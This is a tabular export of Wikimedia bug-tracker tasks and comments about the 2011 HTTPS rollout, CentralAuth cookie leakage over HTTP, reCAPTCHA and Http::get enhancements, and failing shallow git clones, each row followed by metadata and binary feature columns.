+On the secure english wiki, enabling the gadget
+(User:Pathoschild/Scripts/Regex menu framework) ""Add a sidebar menu of user-defined regex tools, with a dynamic form for instant one-use regex"" breaks the secure connection as the script is called from 
+http://meta.wikimedia.org/w/index.php?title=User:Pathoschild/Scripts/Regex_menu_framework.js&action=raw&ctype=text/javascript
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1317818340,1317838205.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-q53anin55nkib5puohqc,task_description,invalid,True,c2,1,False,False,True,-99,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+153785,User:Pathoschild/Scripts/Regex menu framework breaks HTTPS,"**M8R-udfkkf** wrote:
+
+Gadgets on enwiki
+
+It's listed under gadgets on the enwiki...
+
+**Attached**: {F8340}",,,1318432692,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-q53anin55nkib5puohqc,task_subcomment,,True,c2,1,False,,,-98,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+153780,User:Pathoschild/Scripts/Regex menu framework breaks HTTPS,This isn't a Gadget,,,1317838205,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-q53anin55nkib5puohqc,task_subcomment,,True,c2,1,True,,,-99,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+33355,"Logging out from ""https"" wikis shouldn't log out from ""http""","If I go to
+https://www.mediawiki.org/w/index.php?title=Special:UserLogin
+and mark the options
+[x]Also log me in to other wikis of the Wikimedia Foundation
+[x]Remember my login on this browser (for a maximum of 30 days)
+I'll be logged in on https://www.mediawiki.org but NOT on http://www.mediawiki.org
+
+If I go then to
+http://www.mediawiki.org/w/index.php?title=Special:UserLogin
+and log in using the same account, I'll be now logged on both http and https.
+
+So far so good, but if I go to
+https://www.mediawiki.org/w/index.php?title=Special:UserLogout
+then what I would expect from the login proccess is to be logged out ONLY from https, but currently this is not the case and I'll be logged out from both http and https.
+
+Could someone take a look into this?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1317759300,1317769811.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-hnxl3noxqwl6zvszj27n,task_description,declined,True,c2,1,False,False,True,-100,True,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1
+151735,"Logging out from ""https"" wikis shouldn't log out from ""http""",Ok. I think I got it =),,,1317772200,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-hnxl3noxqwl6zvszj27n,task_subcomment,,True,c2,1,False,,,-100,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+151728,"Logging out from ""https"" wikis shouldn't log out from ""http""","This is how it works, and is how it's supposed to do.
+
+Changing it to separate them is just daft",,,1317769811,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-hnxl3noxqwl6zvszj27n,task_subcomment,,True,c2,1,True,,,-100,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0
+151720,"Logging out from ""https"" wikis shouldn't log out from ""http""","This is expected behavior and on purpose.
+
+It is only possible to be logged in using *one* account. Logging in with another will automatically log out the first one.
+
+If you log in on HTTPS you don't want the session data to spill over an unsecure HTTP channel, which is why you aren't logged in there.
+
+If you log in on HTTP you are okay with session data over an unsecure channel, but of course it's simpler if the login is available also over the secure channel.
+
+Do you understand the idea?",,,1317769711,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-hnxl3noxqwl6zvszj27n,task_subcomment,,True,c2,1,True,,,-100,True,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+151712,"Logging out from ""https"" wikis shouldn't log out from ""http""","(In reply to comment #0)
+> and mark the options
+> [x]Also log me in to other wikis of the Wikimedia Foundation
+> [x]Remember my login on this browser (for a maximum of 30 days)
+
+The problem also happens if I log without marking any of these options, so I don't think they make any difference.",,,1317759467,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-hnxl3noxqwl6zvszj27n,task_subcomment,,True,c2,1,False,,,-100,True,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1
+33320,CentralAuth doesn't care about https,"Hi,
+
+I think I've found a major issue in how CentralAuth handles https : when logging in with global login enabled, Special:UserLogin loads remote images from http://wikiwhatever/Special:AutoLogin?token=secrettoken (one image per project), while it should load them from http*s*://sameurl (when browsing using https, of course).
+
+What happens is that cookies are sent unencrypted =/
+
+I guess images should use protocol relative URLs as well.
+
+Best regards,
+
+-- 
+Arkanosis@frwiki
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1317632280,1317639245.0,PHID-USER-irahijhmu2pqmwuewejz,False,,False,PHID-TASK-m4ezagm4urq344hqyod4,task_description,resolved,True,c2,1,False,False,True,-100,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,0
+149249,CentralAuth doesn't care about https,Works for me too. Thanks a lot!,,,1317642983,,PHID-USER-irahijhmu2pqmwuewejz,False,,,PHID-TASK-m4ezagm4urq344hqyod4,task_subcomment,,True,c2,1,False,,,-100,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0
+149243,CentralAuth doesn't care about https,"Fixed in r98745, deployed just now and working for me.",,,1317639245,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-m4ezagm4urq344hqyod4,task_subcomment,,True,c2,1,False,,,-100,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+149238,CentralAuth doesn't care about https,"Fine, thanks :)",,,1317633320,,PHID-USER-irahijhmu2pqmwuewejz,False,,,PHID-TASK-m4ezagm4urq344hqyod4,task_subcomment,,True,c2,1,False,,,-100,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+149233,CentralAuth doesn't care about https,"It's due to the switch between secure services. This issue is known, and will be handled today I've been told.",,,1317632668,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-m4ezagm4urq344hqyod4,task_subcomment,,True,c2,1,False,,,-100,True,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+33278,Add HTTPS version of portal pages of projects,"http://www.wikipedia.org/ and other portals do not have HTTPS version, and links on https://secure.wikimedia.org/ (which looks like http://www.wikimedia.org/) are pointing to English site of projects directly.
+
+Portal pages of projects should be added to HTTPS site and pointed to by links on secure portal of Wikimedia.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1317394380,1317646504.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-reeqk7k4rdaevbdferru,task_description,resolved,True,c2,0,False,False,True,-100,True,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+146951,Add HTTPS version of portal pages of projects,"Fixed now, see https://www.wikipedia.org/",,,1317646504,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-reeqk7k4rdaevbdferru,task_subcomment,,True,c2,1,False,,,-100,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+146944,Add HTTPS version of portal pages of projects,We intend to deploy full HTTPS support next week if not today. That will make this request obsolete.,,,1317394802,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-reeqk7k4rdaevbdferru,task_subcomment,,True,c2,0,False,,,-100,True,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+146938,Add HTTPS version of portal pages of projects,I guess this is going to be fixed by just having the rest of the HTTPS migration...,,,1317394700,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-reeqk7k4rdaevbdferru,task_subcomment,,True,c2,0,True,,,-100,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+33252,ConfirmEdit: reCAPTCHA HTTPS support,"The current reCAPTCHA module in ConfirmEdit does not support loading the CAPTCHA  via HTTPS. This will cause ""insecure content loaded"" warnings when browsing on an HTTPS-enabled wiki.
+
+To get support for this, two changes are needed:
+* Update recaptchalib.php to the current version as provided by Google. The bundled version in ConfirmEdit still has the old host names, while Google uses google.com, especially for the HTTPS service. There are redirects in place, but they might cause certificate warnings.
+
+* Use a HTTPS url when the wiki request itself was made via HTTPS as well.
+
+I'll attach patches for both.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1317315060,1317332487.0,PHID-USER-kmvhdtvjdr6qmqwsd6np,False,,False,PHID-TASK-eatssdlx72n5vflkviqp,task_description,resolved,True,c2,0,False,False,True,-100,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+145318,ConfirmEdit: reCAPTCHA HTTPS support,"Nice catch, thanks!
+
+Applied on trunk in r98461, REL1_18 in r98465. I don't think we have it enabled on our own production wikis, so not worrying about 1.18wmf1 tweaks atm.
+
+ReCaptcha isn't in the 1.17 version of ConfirmEdit, but in case the 1.18 or trunk versions get used on 1.17 and are otherwise compatible I've replaced the WebRequest::detectProtocol() call with a direct check on $_SERVER['HTTPS'].
+
+Confirmed that this resolves mixed-content security errors on captcha display on one of my sites when run over https. Yay!",,,1317332487,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-eatssdlx72n5vflkviqp,task_subcomment,,True,c2,0,True,,,-100,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+145313,ConfirmEdit: reCAPTCHA HTTPS support,"Created attachment 9125
+Enables HTTPS support when requesting the CAPTCHA
+
+**Attached**: {F8023}",,,1317315146,,PHID-USER-kmvhdtvjdr6qmqwsd6np,False,,,PHID-TASK-eatssdlx72n5vflkviqp,task_subcomment,,True,c2,0,False,,,-100,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0
+145309,ConfirmEdit: reCAPTCHA HTTPS support,"Created attachment 9124
+Updates recaptchalib.php to the most recent version provided by Google
+
+**Attached**: {F8022}",,,1317315122,,PHID-USER-kmvhdtvjdr6qmqwsd6np,False,,,PHID-TASK-eatssdlx72n5vflkviqp,task_subcomment,,True,c2,0,False,,,-100,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1
+33191,"""Not logged in"" p-personal javascript should not be triggered after login","**Author:** `romaine.wiki`
+
+**Description:**
+When I am not logged in it shows (in Dutch): Niet aangemeld    Overlegpagina IP-adres    Bijdragen IP-adres
+
+When I am logged in it shows: Romaine    Overleg    Voorkeuren    Volglijst    Bijdragen    Afmelden
+
+But the first page I see when I log in is: Romaine    Overleg    Voorkeuren    Volglijst    Bijdragen    Afmelden    Niet aangemeld    Overlegpagina IP-adres    Bijdragen IP-adres
+
+And that last one isn't correct, it shows the top two lines together.
+
+Greetings - Romaine
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1317146820,1317151388.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-yg2co3ad6uwqhmpt7xn2,task_description,resolved,True,c2,0,False,False,True,-101,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+150846,"""Not logged in"" p-personal javascript should not be triggered after login","Fix deployed, should be working again now.",,,1317151967,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-yg2co3ad6uwqhmpt7xn2,task_subcomment,,True,c2,0,False,,,-101,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+150843,"""Not logged in"" p-personal javascript should not be triggered after login","Fixed in r98237, deploying.",,,1317151388,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-yg2co3ad6uwqhmpt7xn2,task_subcomment,,True,c2,0,False,,,-101,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+150839,"""Not logged in"" p-personal javascript should not be triggered after login",It's not a JS thing. The entire interface is slowing as logged out in my tests on localhost.,,,1317151049,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-yg2co3ad6uwqhmpt7xn2,task_subcomment,,True,c2,0,False,,,-101,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+150832,"""Not logged in"" p-personal javascript should not be triggered after login",*** Bug 31192 has been marked as a duplicate of this bug. ***,,,1317151010,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-yg2co3ad6uwqhmpt7xn2,task_subcomment,,True,c2,0,False,,,-101,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+150825,"""Not logged in"" p-personal javascript should not be triggered after login","This is created by the loggedOutTalkPage() function in nl.wikipedia's MediaWiki:Common.js.
+
+Due to bug 31192, the javascript is also run on the first page when logging in. Because of the way that javascript function works, some links are left and thus both show up.
+
+Once bug 31192 is fixed this will automatically be fixed.",,,1317149396,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-yg2co3ad6uwqhmpt7xn2,task_subcomment,,True,c2,0,True,,,-101,True,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+150816,"""Not logged in"" p-personal javascript should not be triggered after login","**romaine.wiki** wrote:
+
+Example: http://i56.tinypic.com/2cfuk2e.png",,,1317146889,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yg2co3ad6uwqhmpt7xn2,task_subcomment,,True,c2,0,False,,,-101,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+33072,Http::get should accept user-agent option,"**Author:** `olivier.beaton`
+
+**Description:**
+for any extension that uses Http::get a common task is setting the user-agent, which means they have to use the request object instead.  Really $options should include the user-agent string
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1316616780,1321811580.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ssphbusktrpppqnyzrp6,task_description,resolved,True,c2,0,False,False,True,-101,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+153419,Http::get should accept user-agent option,Patch applied in r103765,,,1321811580,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ssphbusktrpppqnyzrp6,task_subcomment,,True,c2,1,False,,,-93,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+153410,Http::get should accept user-agent option,"Created attachment 9087
+Implement UA at Http::request() level
+
+I'm not so sure it's that hard or that hacky.
+
+**Attached**: {F8321}",,,1316725861,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ssphbusktrpppqnyzrp6,task_subcomment,,True,c2,0,True,,,-101,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+153403,Http::get should accept user-agent option,...reviving that would be a bit of a hack though. CURL isn't the only thing we support.,,,1316725528,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-ssphbusktrpppqnyzrp6,task_subcomment,,True,c2,0,False,,,-101,True,0,0,0,0,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+153395,Http::get should accept user-agent option,"**olivier.beaton** wrote:
+
+Doing some compat testing and I found out that this is actually lost functionality.  Here's what Http::get looked like in 1.15
+
+public static function get( $url, $timeout = 'default', $opts = array() ) {
+  return Http::request( ""GET"", $url, $timeout, $opts );
+
+public static function request( $method, $url, $timeout = 'default', $curlOptions = array() ) {
+
+
+and $curlOptions can accept CURLOPT_USERAGENT",,,1316712895,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ssphbusktrpppqnyzrp6,task_subcomment,,True,c2,0,False,,,-101,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+153388,Http::get should accept user-agent option,"Most sensible thing may be to just accept a 'headers' key with a map of HTTP headers to set.
+
+Thus:
+
+$foo = Http::get($url, array(
+  'followRedirects' => false,
+  'postData' => array(
+    'foo' => 'bar',
+    'baz' => 'quux',
+  ),
+  'headers' => array(
+    'User-Agent': 'my special extension',
+    'Accept': 'application/x-something',
+  )
+);",,,1316631795,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ssphbusktrpppqnyzrp6,task_subcomment,,True,c2,0,True,,,-101,True,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1
+37949,"Shallow clones fail with errors: git clone --depth 1 fails with error: RPC failed; result=22, HTTP code = 500","$ git clone --depth 1 https://gerrit.wikimedia.org/r/p/mediawiki/core.git 
+
+fails with error: 
+
+RPC failed; result=22, HTTP code = 500
+
+Related bugs and mailing list posts:
+* https://code.google.com/p/gerrit/issues/detail?id=769
+* http://www.gossamer-threads.com/lists/wiki/wikitech/278195
+* http://thread.gmane.org/gmane.science.linguistics.wikipedia.technical/60018/focus=60060
+* http://comments.gmane.org/gmane.comp.desktop.trinity.devel/3757
+
+Tested (not working) with git versions 1.7.1, 1.7.9.2, 1.7.9.6.
+
+If the --depth option really crashes the git server, then sending this command could be possibly used for a DoS attack -> That's why I set severity to major.
+
+Should your server's memory size be increased ?
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1334342220,1336156231.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-usesppigdvp4zycaytoi,task_description,resolved,True,c2,1,False,False,True,-72,True,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+170672,"Shallow clones fail with errors: git clone --depth 1 fails with error: RPC failed; result=22, HTTP code = 500","for info only (2012-05-19)
++ git clone --depth 1 https://gerrit.wikimedia.org/r/p/mediawiki/core.git ==> 84M
++ git clone https://gerrit.wikimedia.org/r/p/mediawiki/core.git ==> 184M",,,1337408281,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-usesppigdvp4zycaytoi,task_subcomment,,True,c2,1,False,,,-67,True,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+170664,"Shallow clones fail with errors: git clone --depth 1 fails with error: RPC failed; result=22, HTTP code = 500","some more examples, where shallow clones are smaller:
+
+git clone git://gitorious.org/owncloud/owncloud.git ==> 39M
+
+git clone --depth 1 git://gitorious.org/owncloud/owncloud.git ==> 34M
+
+
+
+git clone https://github.com/Pita/etherpad-lite.git ==> 4,8M
+
